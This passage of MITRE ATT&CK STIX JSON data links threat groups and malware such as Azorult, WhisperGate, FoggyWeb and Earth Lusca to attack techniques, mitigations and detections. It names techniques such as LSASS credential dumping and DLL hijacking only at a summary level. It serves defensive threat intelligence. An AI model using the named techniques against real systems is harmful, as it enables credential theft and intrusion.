","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d2fbb81-fd66-4d1b-b919-58d251a06dbe","created":"2023-12-06T19:22:44.851Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-06T19:22:44.851Z","description":"(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d30b96a-6518-449e-a665-3033dfcb44db","type":"relationship","created":"2019-01-30T15:19:15.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.646Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d42a47f-ccdc-42f0-9551-11bf5e2a9616","type":"relationship","created":"2019-05-02T00:08:18.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:21.929Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has the ability to delete its malware entirely from the target system.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d439426-989c-4407-bbef-ac6af47896cc","type":"relationship","created":"2020-03-16T15:12:49.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T20:11:55.220Z","description":"Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d44abc9-f1f3-4111-a474-7dd0b224dd46","type":"relationship","created":"2020-12-14T13:06:31.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft AlwaysInstallElevated 2018","url":"https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated","description":"Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."}],"modified":"2022-03-11T18:50:08.351Z","description":"Consider disabling the AlwaysInstallElevated policy to prevent elevated execution of Windows Installer packages.(Citation: Microsoft AlwaysInstallElevated 2018)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d4aa0d4-b460-4320-8c46-2d6ffbe675af","type":"relationship","created":"2019-04-10T16:16:23.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:34.047Z","description":"(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d4d3bb6-58b7-4c16-a405-d576e8e96c07","type":"relationship","created":"2020-05-27T20:25:33.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:19:14.637Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) uses a python-based payload.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d4e8b44-90f8-4a10-8419-8187d4babf24","type":"relationship","created":"2019-07-19T14:30:22.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2021-04-20T16:31:11.676Z","description":"Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d4f0626-8d26-4187-a80b-df1467ce2dbb","type":"relationship","created":"2020-03-12T20:43:54.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2020-09-16T19:10:04.377Z","description":"Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.(Citation: Powersploit)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d4f2e79-594d-45b9-86d7-9dcc640ad9f1","type":"relationship","created":"2020-11-19T16:59:04.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-12-01T14:40:21.451Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can collect the IP address and NetBIOS name of an infected machine.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d53b4b9-999a-48e9-b90f-0030bbdae18d","created":"2022-03-14T14:37:50.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"RecordedFuture WhisperGate Jan 2022","description":"Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:21:40.331Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) has the ability to inject its fourth stage into a suspended process created by the legitimate Windows utility `InstallUtil.exe`.(Citation: Cisco Ukraine Wipers January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d588be8-f13d-458d-9480-f39ef82197d6","created":"2022-06-15T15:07:36.549Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used a [Mimikatz](https://attack.mitre.org/software/S0002)-based tool and a PowerShell script to steal passwords from Google Chrome.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T15:07:36.549Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d59578c-8356-4978-8765-acbf215948d4","type":"relationship","created":"2020-03-11T14:17:21.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:17:21.294Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d62760d-5678-4ebf-9a19-aa9de5d9728c","created":"2021-03-31T14:01:52.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Docker Daemon Socket Protect","description":"Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021.","url":"https://docs.docker.com/engine/security/protect-access/"},{"source_name":"Kubernetes Cloud Native Security","description":"Kubernetes. (n.d.). Overview of Cloud Native Security. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/overview/"},{"source_name":"Microsoft AKS Azure AD 2023","description":"Microsoft. (2023, February 27). AKS-managed Azure Active Directory integration. Retrieved March 8, 2023.","url":"https://learn.microsoft.com/en-us/azure/aks/managed-aad"},{"source_name":"Kubernetes API Control Access","description":"The Kubernetes Authors. (n.d.). Controlling Access to The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/security/controlling-access/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:13:07.227Z","description":"Limit communications with the container service to managed and secured channels, such as local Unix sockets or remote access via SSH. Require secure port access to communicate with the APIs over TLS by disabling unauthenticated access to the Docker API and Kubernetes API Server.(Citation: Docker Daemon Socket Protect)(Citation: Kubernetes API Control Access) In Kubernetes clusters deployed in cloud environments, use native cloud platform features to restrict the IP ranges that are permitted to access to API server.(Citation: Kubernetes Cloud Native Security) Where possible, consider enabling just-in-time (JIT) access to the Kubernetes API to place additional restrictions on access.(Citation: Microsoft AKS Azure AD 2023)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d67040f-625a-49bd-aacb-48024fc7c4b2","created":"2022-06-27T15:49:45.988Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-27T15:50:28.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d6c5d09-94b9-4453-a26d-8b3ac79cfe7f","type":"relationship","created":"2021-10-13T21:34:46.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.749Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) attempts to reboot the machine by terminating specific processes.(Citation: Trend Micro KillDisk 2)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d70b17c-d3b7-43a2-9c35-d0b80bec2ec0","type":"relationship","created":"2021-01-06T17:58:29.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T19:09:59.099Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) ran as a Windows service from the c:\\windows\\syswow64 folder.(Citation: Check Point Sunburst Teardrop December 2020)(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d7577f9-2003-4cbc-b7cb-58f2dc20714c","created":"2021-11-16T15:32:34.259Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader has used DLL Search Order Hijacking to load malicious code instead of the legitimate `version.dll` during the `Microsoft.IdentityServer.ServiceHost.exe` execution process.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:37:21.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d7be380-2dee-4f74-9464-1dea3c8ca6f4","type":"relationship","created":"2020-03-11T13:50:11.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T13:50:11.512Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d7c40f1-44ad-47ec-9a07-bc3b8f2d2cd1","type":"relationship","created":"2020-12-07T20:17:08.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:17:08.002Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has established persistence with a scheduled task impersonating the Outlook item finder.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d7f9d7b-c246-4849-b65e-1ac45208b427","type":"relationship","created":"2020-01-17T16:49:36.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-09T13:46:29.904Z","description":"Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d7fb3cf-ccee-4f04-b7ef-ee42c320e513","created":"2022-09-16T21:43:08.249Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:43:08.250Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors had the ability to use FTP for C2.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d8296bb-40a0-4a08-a01a-f6dd4409c6f1","created":"2022-08-09T18:32:59.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T19:29:19.606Z","description":"[PingPull](https://attack.mitre.org/software/S1031) has the ability to timestomp a file.(Citation: Unit 42 PingPull Jun 2022)","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d82ba74-8cfa-4f6c-a1a0-f23fe8a738cf","type":"relationship","created":"2019-01-30T14:26:43.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 2018"}],"modified":"2019-04-16T14:51:35.334Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d82c2c5-7d98-40dd-9171-1d605f259064","created":"2022-07-18T20:44:39.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:00:50.842Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used ProcDump to obtain the hashes of credentials by dumping the memory of the LSASS process.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d87ee89-8724-4c23-8074-3d62141ebf37","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d88636c-32f1-4ea4-b7d9-948e48055d37","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 